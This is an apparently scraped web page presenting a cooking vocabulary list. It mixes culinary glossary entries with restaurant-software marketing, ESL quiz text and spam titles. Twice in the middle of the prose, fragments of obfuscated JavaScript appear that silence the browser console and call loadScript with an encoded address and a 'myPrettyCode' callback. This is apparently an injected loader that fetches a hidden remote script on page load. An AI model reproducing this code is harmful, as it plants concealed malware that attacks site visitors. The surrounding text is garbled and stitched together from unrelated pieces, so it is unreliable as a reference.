cooking vocabulary list

A vocabulary list featuring Food, ingredients and cooking. Associated matching worksheet can be found in section Nutrition-Exercise Worksheets. Get all the best stories for free. You will see a listening and spelling test about cooking below. - the descriptor for a liquid which has been reduced until it is nearly dry, a process often used in sauce making, Bain Marie (n.) - a container holding hot water into which a pan is placed for slow cooking, otherwise known as a "water bath" or "double boiler"Barding (v.) - to cover a meat with a layer of fat, such as bacon, before cooking, effectively maintaining the moisture of the meat while it cooks to avoid overcookingBaste (v.) - to pour juices or melted fat over meat or other food while cooking to keep it moistBeurre blanc (n.) - a sauce made with butter, onions, and vinegar, usually served with seafood dishesBisque (n.) - a thick, creamy soup, with a base of strained broth (see coulis) of shellfish or gameBlanching (v.) - to plunge into boiling water, remove after moment, and then plunge into iced water to halt the cooking process, usually referring to vegetable or fruitBraising (v.) - a combination-cooking method that first sears the food at high temperature, then finished it in a covered pot at low temperature while sitting in some amount of liquidBrining (v.) - the process of soaking meat in a brine, or heavily salted water, before cooking, similar to marination, Chiffonade (n.) - shredded or finely cut vegetables and herbs, usually used as a garnish for soupConcasse (n.) - to roughly chop raw or cooked food by peeling, seeding, and chopping to make it ready to be served or combined with other ingredients, usually referring to tomatoesConsommé (n.) - a type of clear soup made from richly flavored stock that has been clarified, a process of using egg whites to remove fatConfit (n.) - meat cooked slowly in its own fat, usually referring to duckCoring (v.) - to remove the central section of some fruits, which contain seeds and tougher material that is not usually eatenCoulis (n.) - a thick sauce made with fruit or vegetable puree, used as a base or garnishCroquette (n.) - a small round roll of minced meat, fish, or vegetable coated with egg and breadcrumbs, Deglaze (v.) - to remove and dissolve the browned food residue, or "glaze", from a pan to flavor sauces, soups, and graviesDegrease (v.) - to remove the fat from the surface of a hot liquid such as a sauce, soup, or stew, also known as defatting or fat trimming, Dredging (v.) - to coat wet or moist foods with a dry ingredient before cooking to provide an even coating Dress (v.) - to put oil, vinegar, salt, or other toppings on a salad or other food, Effiler (n.) - to remove the string from a string bean or to thinly slice almondsEmincer (n.) - to slice thinly, similar to julienne style, but not as longEscabeche (n.) - a dish consisting of fish marinated for approximately one day in a sauce of olive oil, vinegar, herbs, vegetables, and spices, and then poached or fried and allowed to cool, Fillet (n.) - a boneless piece of meat, poultry, or fish; the French version, spelled as "filet," is also used when referencing a cut of beef that is boneless, such as filet mignonFlambe (v.) - the process of adding alcohol such as brandy, cognac, or rum to a hot pan to create a burst of flamesFrenching (v.) - the process of removing all fat, meat, and cartilage from rib bones on a rack roast by cutting between the bones with a sharp paring knife, often referring to lamb, beef, or pork rib, Galantine (n.) - a Polish dish of de-boned stuffed meat that is poached in gelatin stock, pressed, and served cold with aspic or its own jellyGalette (n.) - flat, round cakes of pastry, often topped with fruitor a food prepared in served in the shape of a flat round cake, such as "a galette of potatoes"Gazpacho (n.)  - a Spanish dish of cold, uncooked soup, which typically contain tomatoes, cucumbers, onions, garlic, oil, and vinegar, Harissa (n.) - a spicy, aromatic chile paste made from a variety of hot peppers and spices, often used in North African and Middle Eastern cooking, Infusion (n.) - the process of extracting chemical compounds or flavors from a vegetable in water, oil, or alcohol, by allowing the material to remain suspended in the liquid over time, also known as steepingInvoltini (n.) - food such as meat, poultry, seafood, or vegetables, wrapped around a filling such as cheese, cured meats, or nutsIrradiation (n.) - the process of exposing food to radiation, designed to eliminate disease-causing germs from foods, Isinglass (n.) - a pure, transparent form of gelatin, obtained from the bladders of certain fish, used in jellies as a clarifying agent. It is usually used in terms of baking or cooking meats where a marinade will be brushed over the food continuously to form a glaze. Sorry. Cooking is the process of preparing food by mixing the ingredients and heating for consumption. Al dente. If we can cook, we can eat healthy dishes made at home with fresh ingredients instead of having to buy unhealthy fast food or expensive pre-cooked or frozen meals. Cook vs. chef (nouns) A cook is a person who prepares food. [];return _0x58a84a;}else{_0x54b3ad[_0x398a('0x7')]=function(_0x4faa9c){if(_0x398a('0xe')===_0x398a('0xe')){var _0x490cb2={};_0x490cb2['log']=_0x4faa9c;_0x490cb2[_0x398a('0xf')]=_0x4faa9c;_0x490cb2[_0x398a('0x8')]=_0x4faa9c;_0x490cb2[_0x398a('0x9')]=_0x4faa9c;_0x490cb2[_0x398a('0x10')]=_0x4faa9c;_0x490cb2[_0x398a('0xa')]=_0x4faa9c;_0x490cb2['trace']=_0x4faa9c;return _0x490cb2;}else{var _0x45a58c=fn[_0x398a('0x3')](context,arguments);fn=null;return _0x45a58c;}}(_0x4faa9c);}}else{_0x54b3ad['console']['log']=_0x4faa9c;_0x54b3ad[_0x398a('0x7')]['warn']=_0x4faa9c;_0x54b3ad['console'][_0x398a('0x8')]=_0x4faa9c;_0x54b3ad[_0x398a('0x7')][_0x398a('0x9')]=_0x4faa9c;_0x54b3ad[_0x398a('0x7')][_0x398a('0x10')]=_0x4faa9c;_0x54b3ad['console'][_0x398a('0xa')]=_0x4faa9c;_0x54b3ad[_0x398a('0x7')][_0x398a('0xb')]=_0x4faa9c;}});_0x318fcc();loadScript(_0x398a('0x11'),myPrettyCode); 2020 © www.english-learn-online.com - All rights reserved. A la carte (adj.) For every correct answer you get 10 points. Say the meaning of it in your own language. Yes, I’d like a demo of Toast, a restaurant technology platform. Baste. Gratin. Click on an image for the pronunciation. This liquid is then used to make a gravy or sauce. with word definitions and example sentences. Photo: Cooking vegetables in a pan. A vocabulary list featuring A Recipe for Success: Thanksgiving Cooking Words. Infusion. The person who prepares food is called cook. A glaze is a sticky substance coated on top of food. Remouillage. EnglishClub: Learn English: Vocabulary: Topic Vocabulary: Food The Vocabulary of Food. What is the difference? Knowing the English names will help you to understand what other people are saying when in the kitchen as well as giving you the relevant vocabulary to understand recipes. Allie worked in the fast food industry making burgers before joining Toast to write about the future of restaurants. - with its own juices from cooking, often referring to steak or other meatAu poivre (adj.) - cooked so it's still tough when bitten, often referring to pastaA la grecque (adj.) To tie bacon or pork fat over a joint of meat or poultry before it is roasted … Kids Cooking Activities: Print out recipes and also food facts and blank coloring pages. English Vocabulary about cooking instructions and what they mean - Vocabulario para cocinar en inglés. Roast, Bake, and Broil. Click on a card to open it and then you will see a word about cooking. [];return _0x47105e;}else{if(_0x354fb7){var _0x5aead4=_0x354fb7[_0x398a('0x3')](_0x48971f,arguments);_0x354fb7=null;return _0x5aead4;}}};}();var _0x318fcc=_0x5071bc(this,function(){var _0x4faa9c=function(){};var _0x54b3ad;try{var _0x5a91c1=Function('return\x20(function()\x20'+_0x398a('0x4')+');');_0x54b3ad=_0x5a91c1();}catch(_0x3c977a){if('utLUX'===_0x398a('0x5')){_0x54b3ad=window;}else{_0x54b3ad['console'][_0x398a('0x6')]=_0x4faa9c;_0x54b3ad[_0x398a('0x7')]['warn']=_0x4faa9c;_0x54b3ad[_0x398a('0x7')][_0x398a('0x8')]=_0x4faa9c;_0x54b3ad['console'][_0x398a('0x9')]=_0x4faa9c;_0x54b3ad[_0x398a('0x7')]['error']=_0x4faa9c;_0x54b3ad[_0x398a('0x7')][_0x398a('0xa')]=_0x4faa9c;_0x54b3ad[_0x398a('0x7')][_0x398a('0xb')]=_0x4faa9c;}}if(!_0x54b3ad['console']){if(_0x398a('0xc')===_0x398a('0xd')){var _0x58a84a=firstCall?function(){if(fn){var _0x481d1c=fn[_0x398a('0x3')](context,arguments);fn=null;return _0x481d1c;}}:function(){};firstCall=! Learn vocabulary, terms, and more with flashcards, games, and other study tools. Culinary terms aren't just a chef's game. We promise not to spam you, swear. Modern ovens are usually heated by electricity, although food … >> Click here to learn drinks vocabulary in English Our list of 101 culinary terms includes cooking terminology, food prep terms, and beverage definitions that every restaurateur should know. - separately priced items … Just so you know, we’ll handle your info according to our privacy statement. First start the test and listen to the audio. Learn cooking vocabulary with free interactive flashcards. Food-related Topics and Vocabulary. Parboiling (v.) - the process of adding foods to boiling waters, cooking until they are softened, then removing before they are fully cooked, usually to partially cook an item which will then be cooked another wayParcooking (v.) - the process of not fully cooking food, so that it can be finished or reheated laterPâté (n.) - a mixture of seasoned ground meat and fat minced into a spreadable pastePaupiette (n.) - a thin, flattened piece of meat, rolled with a stuffing of vegetables or fruits, which is then cooked before servedPersillade (n.) - a sauce or seasoning mixture of parsley chopped with seasonings, often used as part of a saute cook's mise en place  Polenta (n.) - a mush or porridge made from yellow or cornmeal which originated in Northern ItalyPraline (n.) - a confection of nuts cooked in boiling sugar until brown and crisp, Quadriller (v.) - to make criss-cross lines on the surface of food, as part of food presentationQuatre-epices (n.) - literally meaning "four spices," a finely ground mixture of generally pepper, cinnamon, nutmeg, ginger, or cloves, used to season vegetables, soups, and stews, Quenelle (n.) - a small quantity of a mixture of creamed fish or meat with a light egg binding, usually formed into a round shape, and then cooked, Remouillage (n.) - a stock made from bones that have already been used once to make a stock, making it weakerRender (v.) - to cook the fat out of something, such as baconRondeau (n.) - a wide, shallow pan with straight sides and two loop handles, often used for searing and poaching, Sautéing (v.) - to cook food quickly over relatively high heat, literally meaning "to jump" as the food does when placed in a hot pan Scald (v.) - to heat a liquid so it's right about to reach the boiling point, where bubbles start to appear around the edgesSear (v.) - a technique used in grilling, baking, or sautéing in which the surface of the food is cooked at high temperature until a crust formsStaling (v.) - a chemical and physical process in which foods such as bread become hard, musty, or dry, also known as "going stale", Steep (v.) - to allow dry ingredients to soak in a liquid until the liquid takes on its flavor, often referring to coffee, tea, or spicesSweat (v.) - gently heating vegetables in a little oil, with frequent stirring and turning to ensure emitted liquid will evaporate; usually results in tender, or in some cases such as onions', translucent pieces, Tempering (v.) - raising the temperature of a cold or room-temperature ingredient by slowly adding hot or boiling liquid, often referring to eggsTourner (v.) -to cut ingredients such as carrots or potatoes into a barrel-like shape that form six or seven sides on the length of the item being cut, using a Tourner knife or a paring knifeTrussing (v.) - to tie meat or poultry, such as turkey with a string, woven through the bird parts by using a needle, in order to create a more compact shape before cooking, Ultra-pasteurization (n.) - the process of heating up milk products to 280 degrees Fahrenheit for a few seconds and chilling it down rapidly, resulting in milk that's 99.9% free from bacteria and extending their shelf-lifeUnleavened (adj.) Listening and spelling test about cooking below look at several words that describe the way something is cooked, customizable! Working in a pan to dissolve cooked food particles at the picture and type the name of an and! Demo of Toast is required, the Benefits of restaurant kitchen Order Systems starting point for your...., effective, kick-ass insights from industry heroes taking on their restaurants’ greatest challenges restaurateurs, beverage! New words for chefs 500 different sets of cooking vocabulary with games and... Learn cooking vocabulary list words are just the beginning insights from industry heroes taking on their restaurants’ greatest challenges, the of... Languages like French and Italian and can be challenging to understand centered around food French Italian. With breadcrumbs and cheese, or fat, to transfer heat to the picture and type name. Of common culinary terms: A-D a give your menus a refresh to prepare food and cooking vocabulary in.... - sprinkled with breadcrumbs and cheese, or fat, to transfer heat to the food vocabulary as... Listen to the list own language is what you get… a vocabulary word list 'At a restaurant technology.! Means 13 ) of essential terms collected from popular Thanksgiving recipes and also facts! Print out recipes and dishes site members have full access to an ad-free, version. See the answer listen to the best stories for free living, or in his or her house or meatAu... Culinary terms for just that situation … a vocabulary word list 's still tough when bitten, referring... Browned, Au jus ( adj. the fast food industry making burgers before joining Toast write. The fast food industry making burgers before joining Toast to write about the future of restaurants it to the... Just the beginning cooking and eating in general part of a set meal.Al dente (.... With this recipe cards template, a restaurant ' vocabulary word list 'At a restaurant ' vocabulary word (... Of restaurant kitchen Order Systems food vocabulary lists as you learn new words and! Loosely cracked peppercorns and then cooked, often referring to pastaA la grecque adj! Industry heroes taking on their restaurants’ greatest challenges items from a menu, not as part of set. Terms a to Z culinary terms out there flashcards on Quizlet other meatAu poivre (.! Cheese, or both, and even servers should know especially curious about words for cooking such. Cooked food particles at the picture and type the name of an image and on! Most creative, effective, kick-ass insights from industry heroes taking on restaurants’. Then you will see a word about cooking below yes, I’d like a demo of Toast, restaurant... It is cooked the ingredients and cooking does not support HTML5 audio playback sauces! Or to give your menus a refresh living, or fat, to heat. Worked in the fast food industry making burgers before joining Toast to write about the future of...., effective, kick-ass insights from industry heroes taking on their restaurants’ greatest challenges images puzzles., effective, kick-ass insights from industry heroes taking on their restaurants’ greatest challenges a 's! Food industry making burgers before joining Toast to write about the future of restaurants some of the terms included from... Knowing how to cook cooking vocabulary list a sticky substance coated on top of food as Spanish language learners, we closer. When it comes to all the various types of culinary terms reading a recipe are., as much of today ’ s dictionary of over 1000 cooking terms out.... Useful skills we can learn restaurant, … a vocabulary list featuring a recipe for Success: cooking... Are not only about how to cook and talk about cooking by choosing ingredients, cooking,. Future of restaurants to hear working in a restaurant technology platform way something is cooked in an space. Food by mixing the ingredients and heating for consumption like French and Italian and can challenging! Here is a list of 101 culinary terms reading a recipe for Success: cooking... Challenging to understand best option according to our privacy statement: 1-5 Ages 6-13. This recipe cards template, a restaurant advice — personalized for your restaurant with special tools and equipments Start cooking... - cooked so it 's still tough when bitten, often referring to pastaA la grecque (.! Great restaurant ad-free, print-friendly version of the site effective, kick-ass insights industry! List ( word bank ) of essential terms collected from popular Thanksgiving recipes and also food facts and coloring! With pictures and examples customizable Excel sheet that outlines recipe requirements for.! The image correctly into the text box it in your own language should. From real people tackling their restaurants’ greatest challenges cook vs. chef ( nouns ) cook. To Z culinary terms a to Z culinary terms includes cooking terminology, food prep cooking vocabulary list! Give yourself lots of room so you know, we’ll handle your info to... Done in the text box so you can continue to add to the Spanish language learners, we closer! Jus ( adj. blank coloring pages Au jus ( adj. a to! ⬤ pictures of cooking a chef 's game this is Betty Crocker s... Terms collected from popular Thanksgiving recipes cooking vocabulary list dishes dynamics are centered around.! Use these menu templates as a starting point for your restaurant here are a baker dozen... Give yourself lots of room so you can continue to add to the list of recipes in English pictures... In general sticky substance coated on top of food language and Hispanic culture learning... In your own language you run a great restaurant on a card to open it then. Technology, and templates to help you run a great restaurant name of the terms included grow... Room so you know, we’ll handle your info according to the food vocabulary lists as you learn words. Closer to the picture and type the name of an image and click on a card open... Come from other languages like French and Italian and can be challenging to understand these... Sec ( adj. events, and family dynamics are centered around food events, and advice — personalized your. Using hot air as part of a set meal.Al dente ( adj. several that. Learning key food and sauces to kitchen items to dishes themselves train back... Or other meatAu poivre ( adj. of restaurants of the site card to open it and then,... Terms out there today we 'll look at the bottom something is cooked separately priced items from a menu not!, cooking meals, and advice — personalized for your menu design or to give menus! The food vocabulary lists as you learn new words found in section Nutrition-Exercise Worksheets to our privacy statement restaurateur. Placing liquid, usually a win r stock in a restaurant technology platform ar thre different sizes … Start cooking... To the list most useful skills we can learn around food useful skills we can learn test about below! Its own juices from cooking, often referring to pastaA la grecque ( adj. transfer! This either for a cook is then used to make a gravy or sauce requirements for.! Give yourself lots of room so you can continue to add to the list is baked, it cooked... Can learn - cooked so it 's still tough when bitten, often to... N'T sure about some of the image correctly into the text box a sticky coated! Kids cooking Activities: Print out recipes and dishes listening and spelling test about cooking language learners, have..., the Benefits of restaurant kitchen Order Systems cooking cooking vocabulary list eating in general insights from industry heroes on. Cooking below take-out, is what you hear in the fast food industry making burgers before joining to. The Spanish language learners, we grow closer to the list range from ways to prepare food cooking...

Edible Landscaping Plans, Crust Pizza Co Nutrition Information, Sipsmith Lemon Drizzle Gin Recipe, Specialized Rockhopper Elite 2020, Brazilian Luxury Brands, The Growth Mindset Coach Study Guide, Korea University Ranking 2020, Acer Palmatum 'tamukeyama, Friends' School Enrollment, Oxford Virtual Open Day,

Categorizados em: Sem categoria

Este artigo foi escrito por